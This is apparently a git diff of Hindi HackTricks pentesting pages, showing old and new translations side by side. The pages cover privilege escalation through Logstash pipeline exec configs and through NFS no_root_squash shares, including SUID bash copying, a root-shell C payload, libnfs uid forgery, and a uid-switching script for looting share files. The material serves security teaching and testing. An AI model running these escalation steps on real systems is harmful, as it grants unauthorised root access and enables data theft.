अपने अधिकारों को बढ़ाने की कोशिश करने से पहले आपको यह जांचना चाहिए कि कौन सा उपयोगकर्ता logstash सेवा चला रहा है, क्योंकि आप बाद में उसी उपयोगकर्ता को अपना बना लेंगे। डिफ़ॉल्ट रूप से logstash सेवा **logstash** उपयोगकर्ता के अधिकारों के साथ चलती है।
|
||||
|
||||
यहां आपको चाहिए कि आप में से **एक** आवश्यक अधिकारों में से एक हों:
|
||||
जांचें कि क्या आपके पास आवश्यक अधिकारों में से **एक** है:
|
||||
|
||||
* आपके पास एक पाइपलाइन **.conf** फ़ाइल पर **लिखने की अनुमति** हो या
|
||||
* **/etc/logstash/pipelines.yml** में एक वाइल्डकार्ड है और आपको निर्दिष्ट फ़ोल्डर में लिखने की अनुमति है
|
||||
* आपके पास किसी पाइपलाइन **.conf** फाइल पर **लिखने की अनुमति** है **या**
|
||||
* **/etc/logstash/pipelines.yml** में एक वाइल्डकार्ड होता है और आपको निर्दिष्ट फोल्डर में लिखने की अनुमति है
|
||||
|
||||
इसके अलावा, निम्नलिखित में से **एक** आवश्यकता पूरी होनी चाहिए:
|
||||
आगे **एक** आवश्यकता पूरी होनी चाहिए:
|
||||
|
||||
* आप लॉगस्टैश सेवा को पुनः आरंभ कर सकते हैं **या**
|
||||
* **/etc/logstash/logstash.yml** में प्रविष्टि होनी चाहिए **config.reload.automatic: true**
|
||||
* आप logstash सेवा को पुनः आरंभ करने में सक्षम हैं **या**
|
||||
* **/etc/logstash/logstash.yml** में प्रविष्टि **config.reload.automatic: true** होती है
|
||||
|
||||
यदि एक वाइल्डकार्ड निर्दिष्ट है, तो उस वाइल्डकार्ड के मेल खाते एक फ़ाइल बनाने का प्रयास करें। निम्नलिखित सामग्री फ़ाइल में लिखी जा सकती है ताकि कमांड निष्पादित हो सकें:
|
||||
यदि एक वाइल्डकार्ड निर्दिष्ट है, तो उस वाइल्डकार्ड से मेल खाने वाली फाइल बनाने की कोशिश करें। निम्नलिखित सामग्री को फाइल में लिखा जा सकता है ताकि आदेशों को निष्पादित किया जा सके:
|
||||
```bash
|
||||
input {
|
||||
exec {
|
||||
|
@ -65,11 +63,11 @@ codec => rubydebug
|
|||
}
|
||||
}
|
||||
```
|
||||
**अंतराल** सेकंड में समय निर्धारित करता है। इस उदाहरण में **whoami** कमांड हर 120 सेकंड में निष्पादित की जाती है। कमांड का आउटपुट **/tmp/output.log** में सहेजा जाता है।
|
||||
**इंटरवल** सेकंड्स में समय निर्दिष्ट करता है। इस उदाहरण में **whoami** कमांड हर 120 सेकंड में निष्पादित होती है। कमांड का आउटपुट **/tmp/output.log** में सहेजा जाता है।
|
||||
|
||||
यदि **/etc/logstash/logstash.yml** में **config.reload.automatic: true** एंट्री होती है, तो आपको केवल कमांड के निष्पादन का इंतजार करना होगा, क्योंकि Logstash स्वचालित रूप से नई पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों या मौजूदा पाइपलाइन कॉन्फ़िगरेशन में किसी भी परिवर्तन को स्वीकार करेगा। अन्यथा, logstash सेवा को पुनरारंभ करें।
|
||||
यदि **/etc/logstash/logstash.yml** में प्रविष्टि **config.reload.automatic: true** होती है तो आपको केवल कमांड निष्पादित होने तक प्रतीक्षा करनी होगी, क्योंकि Logstash स्वचालित रूप से नए पाइपलाइन कॉन्फ़िगरेशन फाइलों या मौजूदा पाइपलाइन कॉन्फ़िगरेशनों में किसी भी परिवर्तन को पहचान लेगा। अन्यथा logstash सेवा को पुनः आरंभ करने के लिए ट्रिगर करें।
|
||||
|
||||
यदि कोई वाइल्डकार्ड उपयोग नहीं किया जाता है, तो आप मौजूदा पाइपलाइन कॉन्फ़िगरेशन में इन परिवर्तनों को लागू कर सकते हैं। **सुनिश्चित करें कि आप चीजों को नहीं तोड़ते हैं!**
|
||||
यदि कोई वाइल्डकार्ड का उपयोग नहीं किया जाता है, तो आप इन परिवर्तनों को मौजूदा पाइपलाइन कॉन्फ़िगरेशन में लागू कर सकते हैं। **सुनिश्चित करें कि आप चीजों को नहीं तोड़ते हैं!**
|
||||
|
||||
# संदर्भ
|
||||
|
||||
|
@ -78,16 +76,14 @@ codec => rubydebug
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर सबमिट करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,31 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की अनुमति चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
_ **/etc/exports** _ फ़ाइल को पढ़ें, यदि आपको कुछ ऐसा डायरेक्टरी मिलता है जो **no\_root\_squash** के रूप में कॉन्फ़िगर किया गया है, तो आप उसे एक **क्लाइंट के रूप में एक्सेस** कर सकते हैं और उस डायरेक्टरी में **लोकल रूट** के रूप में **लिख सकते** हैं।
|
||||
_ **/etc/exports** _ फाइल पढ़ें, यदि आपको कोई डायरेक्टरी मिलती है जो **no\_root\_squash** के रूप में कॉन्फ़िगर की गई है, तो आप उसे **क्लाइंट के रूप में एक्सेस** कर सकते हैं और उस डायरेक्टरी में **लिख सकते हैं** जैसे कि आप उस मशीन के स्थानीय **रूट** हों।
|
||||
|
||||
**no\_root\_squash**: यह विकल्प मूल रूप से क्लाइंट पर रूट उपयोगकर्ता को रूट के रूप में NFS सर्वर पर फ़ाइलों तक पहुंच देता है। और इससे गंभीर सुरक्षा संबंधित परेशानियां हो सकती हैं।
|
||||
**no\_root\_squash**: यह विकल्प मूल रूप से क्लाइंट पर रूट यूजर को NFS सर्वर पर फाइलों तक रूट के रूप में पहुँचने की अनुमति देता है। और इससे गंभीर सुरक्षा प्रभाव हो सकते हैं।
|
||||
|
||||
**no\_all\_squash:** यह **no\_root\_squash** विकल्प के समान है, लेकिन इसका उपयोग **गैर-रूट उपयोगकर्ताओं** के लिए होता है। कल्पित करें, आपके पास nobody उपयोगकर्ता के रूप में शेल है; /etc/exports फ़ाइल की जांच की; no\_all\_squash विकल्प मौजूद है; /etc/passwd फ़ाइल की जांच की; गैर-रूट उपयोगकर्ता के रूप में एक नकली उपयोगकर्ता को अनुकरण किया; उस उपयोगकर्ता के रूप में एक suid फ़ाइल बनाएं (nfs का उपयोग करके माउंट करके)। suid को nobody उपयोगकर्ता के रूप में निष्पादित करें और अलग-अलग उपयोगकर्ता बनें।
|
||||
**no\_all\_squash:** यह **no\_root\_squash** विकल्प के समान है लेकिन **गैर-रूट यूजर्स** पर लागू होता है। कल्पना कीजिए, आपके पास nobody यूजर के रूप में एक शेल है; /etc/exports फाइल चेक की; no\_all\_squash विकल्प मौजूद है; /etc/passwd फाइल चेक करें; एक गैर-रूट यूजर की नकल करें; एक suid फाइल उस यूजर के रूप में बनाएं (nfs का उपयोग करके माउंट करके)। nobody यूजर के रूप में suid निष्पादित करें और अलग यूजर बनें।
|
||||
|
||||
# विशेषाधिकार उन्नयन
|
||||
# विशेषाधिकार वृद्धि
|
||||
|
||||
## दूरस्थ शोषण
|
||||
## रिमोट एक्सप्लॉइट
|
||||
|
||||
यदि आपने इस कमजोरी को खोजा है, तो आप इसे शोषण कर सकते हैं:
|
||||
यदि आपने यह कमजोरी पाई है, तो आप इसे इस्तेमाल कर सकते हैं:
|
||||
|
||||
* एक क्लाइंट मशीन में उस डायरेक्टरी को **माउंट करके**, और उस माउंट किए गए फ़ोल्डर में **/bin/bash** बाइनरी की **कॉपी** करके उसे **SUID** अधिकार दें, और **पीड़ित** मशीन से उस बैश बाइनरी को निष्पादित करें।
|
||||
* **उस डायरेक्टरी को माउंट करना** क्लाइंट मशीन में, और **रूट के रूप में कॉपी करना** माउंटेड फोल्डर में **/bin/bash** बाइनरी और उसे **SUID** अधिकार देना, और **पीड़ित** मशीन से उस bash बाइनरी को **निष्पादित करना**।
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
|
@ -40,7 +38,7 @@ chmod +s bash
|
|||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
* **उस निर्देशिका को माउंट करें** क्लाइंट मशीन में, और **रूट के रूप में कॉपी करें** माउंट किए गए फ़ोल्डर में हमारे कंपाइल्ड पेलोड को जो SUID अनुमति का दुरुपयोग करेगा, उसे **SUID** अधिकार दें, और विक्टिम मशीन से उस बाइनरी को निष्पादित करें (यहां आपको कुछ [सी SUID पेलोड](payloads-to-execute.md#c) मिलेंगे)।
|
||||
* **उस डायरेक्टरी को माउंट करना** क्लाइंट मशीन में, और **रूट के रूप में कॉपी करना** माउंटेड फोल्डर के अंदर हमारा कंपाइल किया हुआ पेलोड जो SUID अनुमति का दुरुपयोग करेगा, उसे **SUID** अधिकार देना, और **पीड़ित** मशीन से उस बाइनरी को निष्पादित करना (आप यहाँ कुछ [C SUID पेलोड्स](payloads-to-execute.md#c) देख सकते हैं)।
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
|
@ -54,65 +52,65 @@ chmod +s payload
|
|||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
## स्थानीय उत्पीड़न
|
||||
## स्थानीय एक्सप्लॉइट
|
||||
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि यदि आप अपनी मशीन से पीड़ित मशीन तक एक **टनल बना सकते हैं तो आप फिर भी इस विशेषाधिकार उत्पीड़न को उत्पन्न करने के लिए दूरस्थ संस्करण का उपयोग कर सकते हैं आवश्यक पोर्टों को टनल करते हुए**।\
|
||||
यदि `/etc/exports` फ़ाइल में एक IP निर्दिष्ट करती है तो निम्नलिखित चाल काम नहीं करेगी और आपको इस चाल का दुरुपयोग करने की आवश्यकता होगी।\
|
||||
उत्पीड़न को काम करने के लिए एक और आवश्यक आवश्यकता यह है कि `/etc/export` के भीतर निर्यात **`असुरक्षित` ध्वज का उपयोग करना चाहिए**।\
|
||||
\--_मुझे यकीन नहीं है कि यदि `/etc/export` एक IP पता निर्दिष्ट कर रहा है तो यह चाल काम करेगी_--
|
||||
ध्यान दें कि यदि आप अपनी मशीन से पीड़ित मशीन तक एक **टनल बना सकते हैं, तो आप इस विशेषाधिकार एस्केलेशन को दूरस्थ रूप से उपयोग करने के लिए आवश्यक पोर्ट्स को टनलिंग करके अभी भी रिमोट वर्जन का उपयोग कर सकते हैं**।\
|
||||
निम्नलिखित चाल तब है जब फाइल `/etc/exports` **एक IP इंगित करता है**। इस मामले में आप **किसी भी मामले में रिमोट एक्सप्लॉइट का उपयोग नहीं कर पाएंगे** और आपको इस चाल का **दुरुपयोग करना होगा**।\
|
||||
एक्सप्लॉइट के काम करने के लिए एक और आवश्यक शर्त यह है कि `/etc/export` के अंदर का **निर्यात `insecure` फ्लैग का उपयोग कर रहा होना चाहिए**।\
|
||||
\--_मुझे यकीन नहीं है कि अगर `/etc/export` एक IP पते का संकेत दे रहा है तो यह चाल काम करेगी_--
|
||||
{% endhint %}
|
||||
|
||||
**ट्रिक** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html) **से कॉपी की गई है**
|
||||
**चाल [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html) से नकल की गई है**
|
||||
|
||||
अब, यह मान लेते हैं कि शेयर सर्वर अभी भी `no_root_squash` चला रहा है लेकिन हमें शेयर को हमारी पेंटेस्ट मशीन पर माउंट करने से रोकने वाली कुछ बात है। यह इसलिए होगा क्योंकि `/etc/exports` में शेयर को माउंट करने की अनुमति देने वाले IP पतों की एक स्पष्ट सूची है।
|
||||
अब, मान लीजिए कि शेयर सर्वर अभी भी `no_root_squash` चला रहा है लेकिन हमारे पेंटेस्ट मशीन पर शेयर को माउंट करने से रोकने वाली कुछ है। यह तब होगा जब `/etc/exports` में शेयर को माउंट करने के लिए अनुमति वाले IP पतों की स्पष्ट सूची हो।
|
||||
|
||||
शेयर की सूची अब दिखाती है कि केवल वह मशीन इसे माउंट करने की अनुमति देने के लिए जिस पर हम प्राइवेसी करने की कोशिश कर रहे हैं:
|
||||
शेयर्स की सूची अब दिखाती है कि केवल वही मशीन जिस पर हम प्रिवेस्क करने की कोशिश कर रहे हैं, उसे माउंट करने की अनुमति है:
|
||||
```
|
||||
[root@pentest]# showmount -e nfs-server
|
||||
Export list for nfs-server:
|
||||
/nfs_root machine
|
||||
```
|
||||
इसका मतलब है कि हम अनुप्रयोगी उपयोगकर्ता के रूप में स्थानीय रूप से मशीन पर माउंट किए गए साझा को उत्पन्न करने के लिए अवसरहीन हैं। लेकिन यह बात तो होती है कि एक और, कम ज्ञात स्थानीय उत्पीड़न है।
|
||||
इसका मतलब है कि हमें मशीन पर स्थापित शेयर का उपयोग करते हुए स्थानीय रूप से एक अनाधिकृत उपयोगकर्ता से शोषण करने के लिए फंसना पड़ता है। लेकिन ऐसा होता है कि एक अन्य, कम ज्ञात स्थानीय शोषण भी है।
|
||||
|
||||
इस उत्पीड़न का आधार एक समस्या पर है जो NFSv3 निर्देशिका में होती है जो यह निर्धारित करती है कि जब शेयर तक पहुंचते समय उपयोगकर्ता के uid/gid का विज्ञापन करना उपयोगकर्ता के ऊपर है। इसलिए, यदि शेयर पहले से ही माउंट किया गया है, तो NFS RPC कॉल्स को जाली uid/gid बनाने के द्वारा uid/gid को नकली करना संभव है!
|
||||
यह शोषण NFSv3 विनिर्देश में एक समस्या पर निर्भर करता है जो यह आवश्यकता बताता है कि शेयर तक पहुँचते समय यह ग्राहक की जिम्मेदारी है कि वह अपनी uid/gid की घोषणा करे। इस प्रकार, यदि शेयर पहले से ही स्थापित है तो NFS RPC कॉल्स को फोर्ज करके uid/gid को नकली बनाना संभव है!
|
||||
|
||||
यहां एक [पुस्तकालय है जो आपको इसे करने देती है](https://github.com/sahlberg/libnfs)।
|
||||
यहाँ एक [लाइब्रेरी है जो आपको बिल्कुल यही करने देती है](https://github.com/sahlberg/libnfs)।
|
||||
|
||||
### उदाहरण को कंपाइल करना <a href="#compiling-the-example" id="compiling-the-example"></a>
|
||||
### उदाहरण संकलन करना <a href="#compiling-the-example" id="compiling-the-example"></a>
|
||||
|
||||
अपने कर्नल के आधार पर, आपको उदाहरण को अनुकूलित करने की आवश्यकता हो सकती है। मेरे मामले में, मुझे fallocate syscalls को टिप्पणी करनी पड़ी।
|
||||
आपके कर्नेल के आधार पर, आपको उदाहरण को अनुकूलित करने की आवश्यकता हो सकती है। मेरे मामले में मुझे fallocate सिस्टम कॉल्स को कमेंट आउट करना पड़ा।
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
### पुस्तकालय का उपयोग करके शोध करना <a href="#exploiting-using-the-library" id="exploiting-using-the-library"></a>
|
||||
### पुस्तकालय का उपयोग करके शोषण <a href="#exploiting-using-the-library" id="exploiting-using-the-library"></a>
|
||||
|
||||
चलो सबसे सरल शोध का उपयोग करें:
|
||||
आइए सबसे सरल शोषण का उपयोग करें:
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
अपने एक्सप्लॉइट को साझा में रखें और RPC कॉल में अपने uid को फेक करके इसे suid root बनाएं:
|
||||
हमारे एक्सप्लॉइट को शेयर पर रखें और RPC कॉल्स में हमारे uid को फेक करके इसे suid root बनाएं:
|
||||
```
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
अब इसे लॉन्च करना बाकी है:
|
||||
अब बस इसे लॉन्च करना बाकी है:
|
||||
```
|
||||
[w3user@machine libnfs]$ /mnt/share/a.out
|
||||
[root@machine libnfs]#
|
||||
```
|
||||
यहां हम हैं, स्थानीय रूट प्रिविलेज एस्केलेशन!
|
||||
हम वहां हैं, स्थानीय रूट विशेषाधिकार वृद्धि!
|
||||
|
||||
## बोनस NFShell <a href="#bonus-nfshell" id="bonus-nfshell"></a>
|
||||
|
||||
मशीन पर स्थानीय रूट होने के बाद, मुझे NFS साझा से संभवतः गुप्त जानकारी चोरी करनी थी जो मुझे पिवट करने में मदद कर सकती है। लेकिन यहां कई उपयोगकर्ता थे जिनके अलग-अलग uid होते थे जिन्हें मैं रूट होने के बावजूद पढ़ नहीं सकता था क्योंकि uid मिलान नहीं हो रहा था। मैं चौंकाने वाले संकेत नहीं छोड़ना चाहता था जैसे कि chown -R, इसलिए मैंने अपने uid को सेट करने के लिए एक छोटा स्निपेट बनाया था जिससे मैं चाहे गए शैल कमांड को चला सकूं:
|
||||
मशीन पर स्थानीय रूट होने के बाद, मैं NFS शेयर को संभावित रहस्यों के लिए लूटना चाहता था जो मुझे पिवट करने की अनुमति देते। लेकिन वहां अपने यूआईडी के साथ कई उपयोगकर्ता थे जिन्हें मैं रूट होने के बावजूद यूआईडी मिसमैच के कारण पढ़ नहीं सकता था। मैं चोवन -R जैसे स्पष्ट निशान छोड़ना नहीं चाहता था, इसलिए मैंने एक छोटा स्निपेट बनाया जो मेरे यूआईडी को वांछित शेल कमांड चलाने से पहले सेट करता है:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
import sys
|
||||
|
@ -130,7 +128,7 @@ uid = get_file_uid(filepath)
|
|||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
आप फिर से सामान्य रूप से अपने द्वारा चलाए जाने वाले अधिकांश कमांडों को स्क्रिप्ट के साथ प्राथमिकता देकर चला सकते हैं:
|
||||
फिर आप अधिकांश कमांड्स को सामान्य रूप से चला सकते हैं, उन्हें स्क्रिप्ट के साथ प्रीफिक्स करके:
|
||||
```
|
||||
[root@machine .tmp]# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
|
@ -144,16 +142,14 @@ drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** को PR जमा करके।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,22 @@
|
|||
# RunC विशेषाधिकार उन्नयन
|
||||
# RunC विशेषाधिकार वृद्धि
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
